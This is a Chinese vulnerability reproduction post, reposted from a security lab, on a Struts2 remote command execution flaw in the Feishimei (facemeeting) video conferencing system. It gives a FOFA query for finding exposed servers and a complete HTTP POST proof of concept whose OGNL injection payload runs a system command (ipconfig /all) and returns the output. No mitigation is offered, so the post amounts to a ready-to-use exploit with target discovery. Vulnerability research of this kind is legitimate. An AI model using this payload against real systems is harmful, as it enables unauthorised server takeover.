飞视美 视频会议系统 Struts2 远程命令执行漏洞

本文转载于公众号：融云攻防实验室，原文地址：

漏洞复现 飞视美 视频会议系统 Struts2 远程命令执行漏洞

0x01 阅读须知

0x02 漏洞描述

飞视美（facemeeting）：facemeeting，即飞视美，隶属飞鱼星科技有限公司，坐落在四川成都，以SAAS模式提供国际标准的多媒体通讯服务，为即租即用的全新一代视频会议产品。飞视美专注提供高效、智能的视频会议解决方案，服务中小企业各类会议、协同办公等领域，通过网络进行异地实时的音视频沟通，协助中小企业构建高效、智能的统一通信系统平台。飞视美 视频会议系统存在struts2远程命令执行漏洞，攻击者通过漏洞可以获取服务器权限。

0x03 漏洞复现

fofa：app=”飞视美-视频会议系统”

1.执行ipconfig /all的POC，得到回显

POST /confinfoaction!showallConfinfos.action HTTP/1.1
Host: {{Hostname}}
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:104.0) Gecko/20100101 Firefox/104.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
DNT: 1
Connection: close
Upgrade-Insecure-Requests: 1
Content-Type: application/x-www-form-urlencoded
Content-Length: 674

('\43_memberAccess.allowStaticMethodAccess')(a)=true&(b)(('\43context[\'xwork.MethodAccessor.denyMethodExecution\']\75false')(b))&('\43c')(('\43_memberAccess.excludeProperties\75@java.util.Collections@EMPTY_SET')(c))&(g)(('\43mycmd\75\'ipconfig /all\'')(d))&(h)(('\43myret\75@java.lang.Runtime@getRuntime().exec(\43mycmd)')(d))&(i)(('\43mydat\75new\40java.io.DataInputStream(\43myret.getInputStream())')(d))&(j)(('\43myres\75new\40byte[51020]')(d))&(k)(('\43mydat.readFully(\43myres)')(d))&(l)(('\43mystr\75new\40java.lang.String(\43myres)')(d))&(m)(('\43myout\75@org.apache.struts2.ServletActionContext@getResponse()')(d))&(n)(('\43myout.getWriter().println(\43mystr)')(d))